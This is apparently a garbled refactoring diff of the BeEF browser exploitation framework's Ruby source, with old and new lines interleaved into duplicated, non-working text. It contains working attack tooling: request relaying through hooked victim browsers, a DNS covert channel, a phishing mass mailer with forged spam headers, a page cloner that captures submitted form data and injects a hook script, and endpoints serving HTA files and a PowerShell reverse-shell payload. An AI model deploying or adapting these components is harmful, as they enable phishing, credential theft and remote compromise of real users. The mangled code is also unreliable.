zombie = HB.where(session: id).first || nil
halt 404 if zombie.nil?
# @TODO: move most of this to the model
raise InvalidParamError, 'raw_request' if raw_request == ''
# @TODO: move most of this to the model
raise InvalidParamError, 'raw_request: Invalid request URL scheme' if proto !~ /\Ahttps?\z/
if raw_request == ''
raise InvalidParamError, 'raw_request'
end
req_parts = raw_request.split(/ |\n/)
if proto !~ /\Ahttps?\z/
raise InvalidParamError, 'raw_request: Invalid request URL scheme'
end
verb = req_parts[0]
raise InvalidParamError, 'raw_request: Only HEAD, GET, POST, OPTIONS, PUT or DELETE requests are supported' unless BeEF::Filters.is_valid_verb?(verb)
req_parts = raw_request.split(/ |\n/)
uri = req_parts[1]
raise InvalidParamError, 'raw_request: Invalid URI' unless BeEF::Filters.is_valid_url?(uri)
verb = req_parts[0]
if not BeEF::Filters.is_valid_verb?(verb)
raise InvalidParamError, 'raw_request: Only HEAD, GET, POST, OPTIONS, PUT or DELETE requests are supported'
end
version = req_parts[2]
raise InvalidParamError, 'raw_request: Invalid HTTP version' unless BeEF::Filters.is_valid_http_version?(version)
uri = req_parts[1]
if not BeEF::Filters.is_valid_url?(uri)
raise InvalidParamError, 'raw_request: Invalid URI'
end
host_str = req_parts[3]
raise InvalidParamError, 'raw_request: Invalid HTTP version' unless BeEF::Filters.is_valid_host_str?(host_str)
version = req_parts[2]
if not BeEF::Filters.is_valid_http_version?(version)
raise InvalidParamError, 'raw_request: Invalid HTTP version'
end
# Validate target hsot
host = req_parts[4]
host_parts = host.split(/:/)
host_name = host_parts[0]
host_port = host_parts[1] || nil
host_str = req_parts[3]
if not BeEF::Filters.is_valid_host_str?(host_str)
raise InvalidParamError, 'raw_request: Invalid HTTP version'
end
raise InvalidParamError, 'raw_request: Invalid HTTP HostName' unless BeEF::Filters.is_valid_hostname?(host_name)
# Validate target hsot
host = req_parts[4]
host_parts = host.split(/:/)
host_name = host_parts[0]
host_port = host_parts[1] || nil
unless BeEF::Filters.is_valid_hostname?(host_name)
raise InvalidParamError, 'raw_request: Invalid HTTP HostName'
end
host_port = host_parts[1] || nil
if host_port.nil? || !BeEF::Filters::nums_only?(host_port)
host_port = proto.eql?('https') ? 443 : 80
end
# Save the new HTTP request
http = H.new(
:hooked_browser_id => zombie.session,
:request => raw_request,
:method => verb,
:proto => proto,
:domain => host_name,
:port => host_port,
:path => uri,
:request_date => Time.now,
:allow_cross_domain => "true",
)
print_debug "added new http request for #{zombie.session}"
print_debug http.to_json
if verb.eql?('POST') || verb.eql?('PUT')
req_parts.each_with_index do |value, index|
if value.match(/^Content-Length/i)
http.content_length = req_parts[index+1]
end
end
end
http.save
result = request2hash(http)
print_debug "[Requester] Sending HTTP request through zombie [ip: #{zombie.ip}] : #{result}"
#result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while removing network host with id #{id} (#{e.message})"
halt 500
host_port = host_parts[1] || nil
if host_port.nil? || !BeEF::Filters.nums_only?(host_port)
host_port = proto.eql?('https') ? 443 : 80
end
# Save the new HTTP request
http = H.new(
hooked_browser_id: zombie.session,
request: raw_request,
method: verb,
proto: proto,
domain: host_name,
port: host_port,
path: uri,
request_date: Time.now,
allow_cross_domain: 'true'
)
print_debug "added new http request for #{zombie.session}"
print_debug http.to_json
if verb.eql?('POST') || verb.eql?('PUT')
req_parts.each_with_index do |value, index|
http.content_length = req_parts[index + 1] if value.match(/^Content-Length/i)
end
end
http.save
result = request2hash(http)
print_debug "[Requester] Sending HTTP request through zombie [ip: #{zombie.ip}] : #{result}"
# result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while removing network host with id #{id} (#{e.message})"
halt 500
end
# Convert a request object to Hash
def request2hash(http)
{
:id => http.id,
:proto => http.proto,
:domain => http.domain,
:port => http.port,
:path => http.path,
:has_ran => http.has_ran,
:method => http.method,
:request_date => http.request_date,
:response_date => http.response_date,
:response_status_code => http.response_status_code,
:response_status_text => http.response_status_text,
:response_port_status => http.response_port_status
id: http.id,
proto: http.proto,
domain: http.domain,
port: http.port,
path: http.path,
has_ran: http.has_ran,
method: http.method,
request_date: http.request_date,
response_date: http.response_date,
response_status_code: http.response_status_code,
response_status_text: http.response_status_text,
response_port_status: http.response_port_status
}
end
# Convert a response object to Hash
def response2hash(http)
response_data = ''
response_data = ""
if not http.response_data.nil?
if http.response_data.length > (1024 * 100) # more thank 100K
response_data = http.response_data[0..(1024*100)]
response_data += "\n<---------- Response Data Truncated---------->"
end
if !http.response_data.nil? && (http.response_data.length > (1024 * 100)) # more thank 100K
response_data = http.response_data[0..(1024 * 100)]
response_data += "\n<---------- Response Data Truncated---------->"
end
response_headers = ""
response_headers = http.response_headers if not http.response_headers.nil?
response_headers = ''
response_headers = http.response_headers unless http.response_headers.nil?
{
:id => http.id,
:request => http.request.force_encoding('UTF-8'),
:response => response_data.force_encoding('UTF-8'),
:response_headers => response_headers.force_encoding('UTF-8'),
:proto => http.proto.force_encoding('UTF-8'),
:domain => http.domain.force_encoding('UTF-8'),
:port => http.port.force_encoding('UTF-8'),
:path => http.path.force_encoding('UTF-8'),
:date => http.request_date,
:has_ran => http.has_ran.force_encoding('UTF-8')
id: http.id,
request: http.request.force_encoding('UTF-8'),
response: response_data.force_encoding('UTF-8'),
response_headers: response_headers.force_encoding('UTF-8'),
proto: http.proto.force_encoding('UTF-8'),
domain: http.domain.force_encoding('UTF-8'),
port: http.port.force_encoding('UTF-8'),
path: http.path.force_encoding('UTF-8'),
date: http.request_date,
has_ran: http.has_ran.force_encoding('UTF-8')
}
end
# Raised when invalid JSON input is passed to an /api/requester handler.
class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/requester handler'
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/requester handler'.freeze
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
@@ -295,11 +262,11 @@ module BeEF
# Raised when an invalid named parameter is passed to an /api/requester handler.
class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/requester handler'
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/requester handler'.freeze
def initialize(message = nil)
str = "Invalid \"%s\" parameter passed to /api/requester handler"
message = sprintf str, message unless message.nil?
str = 'Invalid "%s" parameter passed to /api/requester handler'
message = format str, message unless message.nil?
super(message)
end
end

View File

@@ -7,37 +7,33 @@ module BeEF
module Extension
module ServerClientDnsTunnel
module API
module ServerClientDnsTunnelHandler
BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
BeEF::API::Server, 'pre_http_start' )
BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
BeEF::API::Server, 'mount_handler' )
BeEF::API::Registrar.instance.register(BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
BeEF::API::Server, 'pre_http_start')
BeEF::API::Registrar.instance.register(BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
BeEF::API::Server, 'mount_handler')
# Starts the S2C DNS Tunnel server at BeEF startup.
# @param http_hook_server [BeEF::Core::Server] HTTP server instance
def self.pre_http_start(http_hook_server)
def self.pre_http_start(_http_hook_server)
configuration = BeEF::Core::Configuration.instance
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
raise ArgumentError,'zone name is undefined' unless zone.to_s != ""
raise ArgumentError, 'zone name is undefined' unless zone.to_s != ''
# if listen parameter is not defined in the config.yaml then interface with the highest BeEF's IP-address will be choosen
listen = configuration.get('beef.extension.s2c_dns_tunnel.listen')
Socket.ip_address_list.map {|x| listen = x.ip_address if x.ipv4?} if listen.to_s.empty?
Socket.ip_address_list.map { |x| listen = x.ip_address if x.ipv4? } if listen.to_s.empty?
port = 53
protocol = :udp
interfaces = [[protocol, listen, port]]
dns = BeEF::Extension::ServerClientDnsTunnel::Server.instance
dns.run(:listen => interfaces, :zone => zone)
dns.run(listen: interfaces, zone: zone)
print_info "Server-to-Client DNS Tunnel Server: #{listen}:#{port} (#{protocol})"
info = ''
info += "Zone: " + zone + "\n"
info += "Zone: #{zone}\n"
print_more info
end
# Mounts the handler for processing HTTP image requests.
@@ -47,9 +43,7 @@ module BeEF
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
beef_server.mount('/tiles', BeEF::Extension::ServerClientDnsTunnel::Httpd.new(zone))
end
end
end
end
end

View File

@@ -6,36 +6,34 @@
module BeEF
module Extension
module ServerClientDnsTunnel
module RubyDNS
class Transaction
def fail!(rcode, domain)
append_question!
class RubyDNS::Transaction
@answer.rcode = if rcode.is_a? Symbol
Resolv::DNS::RCode.const_get(rcode)
else
rcode.to_i
end
def fail!(rcode,domain)
append_question!
return unless rcode == :NXDomain
if rcode.kind_of? Symbol
@answer.rcode = Resolv::DNS::RCode.const_get(rcode)
else
@answer.rcode = rcode.to_i
end
if rcode == :NXDomain
@answer.aa = 1
soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns." + domain),
Resolv::DNS::Name.create("hostmaster." + domain),
Time.now.strftime("%Y%m%d%H").to_i,86400,7200,3600000,172800
)
@answer.add_authority(name,3600,soa)
soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns.#{domain}"),
Resolv::DNS::Name.create("hostmaster.#{domain}"),
Time.now.strftime('%Y%m%d%H').to_i, 86_400, 7200, 3_600_000, 172_800)
@answer.add_authority(name, 3600, soa)
end
end
end
class Server < RubyDNS::Server
include Singleton
attr_accessor :messages
def initialize()
def initialize
super()
@lock = Mutex.new
end
@@ -50,13 +48,12 @@ module BeEF
Thread.new do
EventMachine.next_tick do
listen = options[:listen] || nil
super(:listen => listen)
super(listen: listen)
@selfip = options[:listen][0][1]
@zone = options[:zone]
@selfip = options[:listen][0][1]
@zone = options[:zone]
@messages = {}
end
end
end
end
end
@@ -66,11 +63,11 @@ module BeEF
# @param name [String] name of the resource record being looked up
# @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.)
# @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer
def process(name,resource,transaction)
def process(name, resource, transaction)
@lock.synchronize do
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
if format_resource(resource) != 'A' or not name.match(/#{@zone}$/)
transaction.fail!(:Refused,@zone)
if (format_resource(resource) != 'A') || !name.match(/#{@zone}$/)
transaction.fail!(:Refused, @zone)
return
end
@@ -78,31 +75,32 @@ module BeEF
cid = name.split('.')[2].split('-')[2].to_i
bit = name.split('.')[2].split('-')[3].to_i(16)
if @messages[cid] != nil
message = @messages[cid]
else
transaction.fail!(:NXDomain,@zone)
if @messages[cid].nil?
transaction.fail!(:NXDomain, @zone)
return
else
message = @messages[cid]
end
if message.length <= bit
transaction.fail!(:NXDomain,@zone)
transaction.fail!(:NXDomain, @zone)
return
end
end
# If the bit is equal to 1 we should return one of the BeEF's IP addresses
if message[bit] == '1'
case message[bit]
when '1'
transaction.respond!(@selfip)
return
# If the bit is equal to 0 we should return NXDomain message
elsif message[bit] == '0'
transaction.fail!(:NXDomain,@zone)
# If the bit is equal to 0 we should return NXDomain message
when '0'
transaction.fail!(:NXDomain, @zone)
return
end
end
end
end
private
private
# Helper method that formats the given resource class in a human-readable format.
#
@@ -111,7 +109,6 @@ module BeEF
def format_resource(resource)
/::(\w+)$/.match(resource.name)[1]
end
end
end
end

View File

@@ -6,13 +6,11 @@
module BeEF
module Extension
module ServerClientDnsTunnel
extend BeEF::API::Extension
@short_name = 'S2C DNS Tunnel'
@full_name = 'Server-to-Client DNS Tunnel'
@description = 'This extension provides a custom BeEF\'s DNS server and HTTP server ' +
@description = 'This extension provides a custom BeEF DNS server and HTTP server ' \
'that implement unidirectional covert timing channel from BeEF communication server to zombie browser.'
end
end
end

View File

@@ -1,22 +1,19 @@
module BeEF
module Extension
module ServerClientDnsTunnel
class Httpd < Sinatra::Base
def initialize(domain)
super()
@domain = domain
end
get "/map" do
get '/map' do
if request.host.match("^_ldap\._tcp\.[0-9a-z\-]+\.domains\._msdcs\.#{@domain}$")
path = File.dirname(__FILE__)
send_file File.join(path, 'pixel.jpg')
end
end
end
end
end
end

View File

@@ -5,13 +5,12 @@
#
module BeEF
module Extension
module RegisterSEngHandler
def self.mount_handler(server)
server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new)
ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url')
server.mount("#{ps_url}", BeEF::Extension::SocialEngineering::Bind_powershell.new)
server.mount(ps_url.to_s, BeEF::Extension::SocialEngineering::Bind_powershell.new)
end
end
@@ -36,15 +35,7 @@ require 'extensions/social_engineering/powershell/bind_powershell'
# Models
require 'extensions/social_engineering/models/web_cloner'
require 'extensions/social_engineering/models/interceptor'
#require 'extensions/social_engineering/models/mass_mailer'
# require 'extensions/social_engineering/models/mass_mailer'
# RESTful api endpoints
require 'extensions/social_engineering/rest/socialengineering'

View File

@@ -13,8 +13,8 @@ module BeEF
def initialize
@config = BeEF::Core::Configuration.instance
@config_prefix = "beef.extension.social_engineering.mass_mailer"
@templates_dir = "#{File.expand_path('../../../../extensions/social_engineering/mass_mailer/templates', __FILE__)}/"
@config_prefix = 'beef.extension.social_engineering.mass_mailer'
@templates_dir = "#{File.expand_path('../../../extensions/social_engineering/mass_mailer/templates', __dir__)}/"
@user_agent = @config.get("#{@config_prefix}.user_agent")
@host = @config.get("#{@config_prefix}.host")
@@ -31,10 +31,10 @@ module BeEF
# create new SSL context and disable CA chain validation
if @config.get("#{@config_prefix}.use_tls")
@ctx = OpenSSL::SSL::SSLContext.new
if not @config.get("#{@config_prefix}.verify_ssl")
unless @config.get("#{@config_prefix}.verify_ssl")
@ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway
end
@ctx.ssl_version = "TLSv1"
@ctx.ssl_version = 'TLSv1'
end
n = tos_hash.size
@@ -75,27 +75,26 @@ module BeEF
boundary = "------------#{random_string(24)}"
rel_boundary = "------------#{random_string(24)}"
header = email_headers(fromaddr, fromname, @user_agent, to, subject, msg_id, boundary)
plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain", template), boundary)
rel_header = email_related(rel_boundary)
html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template),rel_boundary)
html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template), rel_boundary)
images = ""
images = ''
@config.get("#{@config_prefix}.templates.#{template}.images").each do |image|
images += email_add_image(image, "#{@templates_dir}#{template}/#{image}",rel_boundary)
images += email_add_image(image, "#{@templates_dir}#{template}/#{image}", rel_boundary)
end
attachments = ""
if @config.get("#{@config_prefix}.templates.#{template}.attachments") != nil
attachments = ''
unless @config.get("#{@config_prefix}.templates.#{template}.attachments").nil?
@config.get("#{@config_prefix}.templates.#{template}.attachments").each do |attachment|
attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}",rel_boundary)
attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}", rel_boundary)
end
end
close = email_close(boundary)
rescue => e
print_error "Error constructing email."
rescue StandardError => e
print_error 'Error constructing email.'
raise
end
@@ -105,143 +104,135 @@ module BeEF
end
def email_headers(from, fromname, user_agent, to, subject, msg_id, boundary)
headers = <<EOF
From: "#{fromname}" <#{from}>
Reply-To: "#{fromname}" <#{from}>
Return-Path: "#{fromname}" <#{from}>
X-Mailer: #{user_agent}
To: #{to}
Message-ID: <#{msg_id}@#{@host}>
X-Spam-Status: No, score=0.001 required=5
Subject: #{subject}
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary=#{boundary}
<<~EOF
From: "#{fromname}" <#{from}>
Reply-To: "#{fromname}" <#{from}>
Return-Path: "#{fromname}" <#{from}>
X-Mailer: #{user_agent}
To: #{to}
Message-ID: <#{msg_id}@#{@host}>
X-Spam-Status: No, score=0.001 required=5
Subject: #{subject}
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary=#{boundary}
This is a multi-part message in MIME format.
--#{boundary}
EOF
headers
This is a multi-part message in MIME format.
--#{boundary}
EOF
end
def email_plain_body(plain_text, boundary)
plain_body = <<EOF
Content-Type: text/plain; charset="utf8"
Content-Transfer-Encoding:8bit
<<~EOF
Content-Type: text/plain; charset="utf8"
Content-Transfer-Encoding:8bit
#{plain_text}
#{plain_text}
--#{boundary}
EOF
plain_body
--#{boundary}
EOF
end
def email_related(rel_boundary)
related = <<EOF
Content-Type: multipart/related;
boundary="#{rel_boundary}"
<<~EOF
Content-Type: multipart/related;
boundary="#{rel_boundary}"
--#{rel_boundary}
EOF
related
--#{rel_boundary}
EOF
end
def email_html_body(html_body, rel_boundary)
html_body = <<EOF
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
<<~EOF
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
#{html_body}
--#{rel_boundary}
EOF
html_body
#{html_body}
--#{rel_boundary}
EOF
end
def email_add_image(name, path, rel_boundary)
file_encoded = [File.read(path)].pack("m") # base64 encoded
image = <<EOF
Content-Type: #{get_mime(path)};
name="#{name}"
Content-Transfer-Encoding: base64
Content-ID: <#{name}>
Content-Disposition: inline;
filename="#{name}"
file_encoded = [File.read(path)].pack('m') # base64 encoded
<<~EOF
Content-Type: #{get_mime(path)};
name="#{name}"
Content-Transfer-Encoding: base64
Content-ID: <#{name}>
Content-Disposition: inline;
filename="#{name}"
#{file_encoded}
--#{rel_boundary}
EOF
image
#{file_encoded}
--#{rel_boundary}
EOF
end
def email_add_attachment(name, path, rel_boundary)
file_encoded = [File.read(path)].pack("m") # base64 encoded
image = <<EOF
Content-Type: #{get_mime(path)};
name="#{name}"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="#{name}"
file_encoded = [File.read(path)].pack('m') # base64 encoded
<<~EOF
Content-Type: #{get_mime(path)};
name="#{name}"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="#{name}"
#{file_encoded}
--#{rel_boundary}
EOF
image
#{file_encoded}
--#{rel_boundary}
EOF
end
def email_close(boundary)
close = <<EOF
--#{boundary}--
EOF
close
<<~EOF
--#{boundary}--
EOF
end
# Replaces placeholder values from the plain/html email templates
def parse_template(name, link, linktext, template_path, template)
result = ""
result = ''
img_config = "#{@config_prefix}.templates.#{template}.images_cids"
img_count = 0
File.open(template_path, 'r').each do |line|
# change the Recipient name
if line.include?("__name__")
result += line.gsub("__name__",name)
# change the link/linktext
elsif line.include?("__link__")
if line.include?("__linktext__")
result += line.gsub("__link__",link).gsub("__linktext__",linktext)
else
result += line.gsub("__link__",link)
end
# change images cid/name/alt
elsif line.include?("src=\"cid:__")
img_count += 1
if line.include?("name=\"img__") || line.include?("alt=\"__img")
result += line.gsub("__cid#{img_count}__",
@config.get("#{img_config}.cid#{img_count}")).gsub("__img#{img_count}__",
@config.get("#{img_config}.cid#{img_count}"))
else
result += line.gsub("__cid#{img_count}__",@config.get("#{img_config}.cid#{img_count}"))
end
else
result += line
end
# change the Recipient name
if line.include?('__name__')
result += line.gsub('__name__', name)
# change the link/linktext
elsif line.include?('__link__')
result += if line.include?('__linktext__')
line.gsub('__link__', link).gsub('__linktext__', linktext)
else
line.gsub('__link__', link)
end
# change images cid/name/alt
elsif line.include?('src="cid:__')
img_count += 1
result += if line.include?('name="img__') || line.include?('alt="__img')
line.gsub("__cid#{img_count}__",
@config.get("#{img_config}.cid#{img_count}")).gsub("__img#{img_count}__",
@config.get("#{img_config}.cid#{img_count}"))
else
line.gsub("__cid#{img_count}__", @config.get("#{img_config}.cid#{img_count}"))
end
else
result += line
end
end
result
end
def get_mime(file_path)
result = ""
IO.popen(["file", "--mime","-b", "#{file_path}"], 'r+') do |io|
result = io.readlines.first.split(";").first
result = ''
IO.popen(['file', '--mime', '-b', file_path.to_s], 'r+') do |io|
result = io.readlines.first.split(';').first
end
result
end
def random_string(length)
output = (0..length).map{ rand(36).to_s(36).upcase }.join
output = (0..length).map { rand(36).to_s(36).upcase }.join
end
end
end
end
end

View File

@@ -7,11 +7,8 @@ module BeEF
module Core
module Models
class Interceptor < BeEF::Core::Model
belongs_to :webcloner
end
end
end
end

View File

@@ -6,11 +6,8 @@
module BeEF
module Core
module Models
class Massmailer < BeEF::Core::Model
end
end
end
end

View File

@@ -7,11 +7,8 @@ module BeEF
module Core
module Models
class WebCloner < BeEF::Core::Model
has_many :interceptors
end
end
end
end

View File

@@ -6,7 +6,6 @@
module BeEF
module Extension
module SocialEngineering
#
# NOTE: the powershell_payload is work/copyright from @mattifestation (kudos for that)
# NOTE: the visual-basic macro code inside the Microsoft Office Word/Excel documents is work/copyright from @enigma0x3 (kudos for that)
@@ -27,7 +26,7 @@ module BeEF
# serves the HTML Application (HTA)
get '/hta' do
response['Content-Type'] = "application/hta"
response['Content-Type'] = 'application/hta'
@config = BeEF::Core::Configuration.instance
beef_url_str = @config.beef_url_str
ps_url = @config.get('beef.extension.social_engineering.powershell.powershell_handler_url')
@@ -43,7 +42,7 @@ module BeEF
# serves the powershell payload after modifying LHOST/LPORT
# The payload gets served via HTTP by default. Serving it via HTTPS it's still a TODO
get '/ps.png' do
response['Content-Type'] = "text/plain"
response['Content-Type'] = 'text/plain'
@ps_lhost = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_host')
@ps_port = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_port')
@@ -51,9 +50,7 @@ module BeEF
ps_payload_path = "#{$root_dir}/extensions/social_engineering/powershell/powershell_payload"
ps_payload = ''
if File.exist?(ps_payload_path)
ps_payload = File.read(ps_payload_path).gsub("___LHOST___", @ps_lhost).gsub("___LPORT___", @ps_port)
end
ps_payload = File.read(ps_payload_path).gsub('___LHOST___', @ps_lhost).gsub('___LPORT___', @ps_port) if File.exist?(ps_payload_path)
ps_payload
end
end

View File

@@ -8,12 +8,11 @@ module BeEF
module Extension
module SocialEngineering
class SEngRest < BeEF::Core::Router::Router
config = BeEF::Core::Configuration.instance
before do
error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
@@ -33,19 +32,19 @@ module BeEF
request.body.rewind
begin
body = JSON.parse request.body.read
uri = body["url"]
mount = body["mount"]
use_existing = body["use_existing"]
dns_spoof = body["dns_spoof"]
uri = body['url']
mount = body['mount']
use_existing = body['use_existing']
dns_spoof = body['dns_spoof']
if uri != nil && mount != nil
if (uri =~ URI::regexp).nil? #invalid URI
print_error "Invalid URI"
if !uri.nil? && !mount.nil?
if (uri =~ URI::DEFAULT_PARSER.make_regexp).nil? # invalid URI
print_error 'Invalid URI'
halt 401
end
if !mount[/^\//] # mount needs to start with /
print_error "Invalid mount (need to be a relative path, and start with / )"
unless mount[%r{^/}] # mount needs to start with /
print_error 'Invalid mount (need to be a relative path, and start with / )'
halt 401
end
@@ -54,19 +53,18 @@ module BeEF
if success
result = {
"success" => true,
"mount" => mount
'success' => true,
'mount' => mount
}.to_json
else
result = {
"success" => false
'success' => false
}.to_json
halt 500
end
end
rescue => e
print_error "Invalid JSON input passed to endpoint /api/seng/clone_page"
rescue StandardError
print_error 'Invalid JSON input passed to endpoint /api/seng/clone_page'
error 400 # Bad Request
end
end
@@ -74,7 +72,7 @@ module BeEF
# Example: curl -H "Content-Type: application/json; charset=UTF-8" -d 'json_body'
#-X POST http://127.0.0.1:3000/api/seng/send_mails?token=68f76c383709414f647eb4ba8448370453dd68b7
# Example json_body:
#{
# {
# "template": "default",
# "subject": "Hi from BeEF",
# "fromname": "BeEF",
@@ -84,31 +82,31 @@ module BeEF
# "recipients": [{
# "user1@gmail.com": "Michele",
# "user2@antisnatchor.com": "Antisnatchor"
#}]
#}
# }]
# }
post '/send_mails' do
request.body.rewind
begin
body = JSON.parse request.body.read
template = body["template"]
subject = body["subject"]
fromname = body["fromname"]
fromaddr = body["fromaddr"]
link = body["link"]
linktext = body["linktext"]
template = body['template']
subject = body['subject']
fromname = body['fromname']
fromaddr = body['fromaddr']
link = body['link']
linktext = body['linktext']
if template.nil? || subject.nil? || fromaddr.nil? || fromname.nil? || link.nil? || linktext.nil?
print_error "All parameters are mandatory."
print_error 'All parameters are mandatory.'
halt 401
end
if (link =~ URI::regexp).nil? #invalid URI
print_error "Invalid link or linktext"
if (link =~ URI::DEFAULT_PARSER.make_regexp).nil? # invalid URI
print_error 'Invalid link or linktext'
halt 401
end
recipients = body["recipients"][0]
recipients = body['recipients'][0]
recipients.each do |email, name|
if !/\b[A-Z0-9._%a-z\-]+@(?:[A-Z0-9a-z\-]+\.)+[A-Za-z]{2,4}\z/.match(email) || name.nil?
@@ -116,20 +114,19 @@ module BeEF
halt 401
end
end
rescue => e
print_error "Invalid JSON input passed to endpoint /api/seng/send_emails"
rescue StandardError
print_error 'Invalid JSON input passed to endpoint /api/seng/send_emails'
error 400
end
begin
mass_mailer = BeEF::Extension::SocialEngineering::MassMailer.instance
mass_mailer.send_email(template, fromname, fromaddr, subject, link, linktext, recipients)
rescue => e
print_error "Invalid mailer configuration"
rescue StandardError => e
print_error "Mailer send_email failed: #{e.message}"
error 400
end
end
end
end
end

View File

@@ -8,44 +8,42 @@ module BeEF
module SocialEngineering
require 'sinatra/base'
class Interceptor < Sinatra::Base
configure do
configure do
set :show_exceptions, false
end
# intercept GET
get "/" do
print_info "GET request from IP #{request.ip}"
print_info "Referer: #{request.referer}"
cloned_page = settings.cloned_page
cloned_page
end
# intercept POST
post "/" do
print_info "POST request from IP #{request.ip}"
request.body.rewind
data = request.body.read
print_info "Intercepted data:"
print_info data
interceptor_db = BeEF::Core::Models::Interceptor.new(
:webcloner_id => settings.db_entry.id,
:post_data => data,
:ip => request.ip
)
interceptor_db.save
if settings.frameable
print_info "Page can be framed :-) Loading original URL into iFrame..."
"<html><head><script type=\"text/javascript\" src=\"#{settings.beef_hook}\"></script>\n</head></head><body><iframe src=\"#{settings.redirect_to}\" style=\"border:none; background-color:white; width:100%; height:100%; position:absolute; top:0px; left:0px; padding:0px; margin:0px\"></iframe></body></html>"
else
print_info "Page can not be framed :-) Redirecting to original URL..."
redirect settings.redirect_to
end
end
# intercept GET
get '/' do
print_info "GET request from IP #{request.ip}"
print_info "Referer: #{request.referer}"
cloned_page = settings.cloned_page
cloned_page
end
# intercept POST
post '/' do
print_info "POST request from IP #{request.ip}"
request.body.rewind
data = request.body.read
print_info 'Intercepted data:'
print_info data
interceptor_db = BeEF::Core::Models::Interceptor.new(
webcloner_id: settings.db_entry.id,
post_data: data,
ip: request.ip
)
interceptor_db.save
if settings.frameable
print_info 'Page can be framed :-) Loading original URL into iFrame...'
"<html><head><script type=\"text/javascript\" src=\"#{settings.beef_hook}\"></script>\n</head></head><body><iframe src=\"#{settings.redirect_to}\" style=\"border:none; background-color:white; width:100%; height:100%; position:absolute; top:0px; left:0px; padding:0px; margin:0px\"></iframe></body></html>"
else
print_info 'Page can not be framed :-) Redirecting to original URL...'
redirect settings.redirect_to
end
end
end
end
end
end

View File

@@ -13,8 +13,8 @@ module BeEF
def initialize
@http_server = BeEF::Core::Server.instance
@config = BeEF::Core::Configuration.instance
@cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/"
@beef_hook = "#{@config.hook_url}"
@cloned_pages_dir = "#{File.expand_path('../../../extensions/social_engineering/web_cloner', __dir__)}/cloned_pages/"
@beef_hook = @config.hook_url.to_s
end
def clone_page(url, mount, use_existing, dns_spoof)
@@ -35,33 +35,31 @@ module BeEF
# 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file
#
if use_existing.nil? || use_existing == false
begin #,"--background"
cmd = ["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", '--read-timeout', '60', '--tries', '3']
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
cmd << "--no-check-certificate"
end
begin
cmd = ['wget', url.to_s, '-c', '-k', '-O', (@cloned_pages_dir + output).to_s, '-U', user_agent.to_s, '--read-timeout', '60', '--tries', '3']
cmd << '--no-check-certificate' unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
print_debug "Running command: #{cmd.join(' ')}"
IO.popen(cmd, 'r+') do |wget_io|
end
success = true
rescue Errno::ENOENT => e
rescue Errno::ENOENT
print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
rescue => e
rescue StandardError => e
print_error "Errors executing wget: #{e}"
end
if success
File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file|
File.open("#{@cloned_pages_dir + output}", 'r').each do |line|
File.open((@cloned_pages_dir + output_mod).to_s, 'w') do |out_file|
File.open((@cloned_pages_dir + output).to_s, 'r').each do |line|
# Modify the <form> line changing the action URI to / in order to be properly intercepted by BeEF
if line.include?("<form ") || line.include?("<FORM ")
line_attrs = line.split(" ")
if line.include?('<form ') || line.include?('<FORM ')
line_attrs = line.split(' ')
c = 0
cc = 0
#todo: probably doable also with map!
# TODO: probably doable also with map!
# modify the form 'action' attribute
line_attrs.each do |attr|
if attr.include? "action=\""
if attr.include? 'action="'
print_info "Form action found: #{attr}"
break
end
@@ -69,24 +67,24 @@ module BeEF
end
line_attrs[c] = "action=\"#{mount}\""
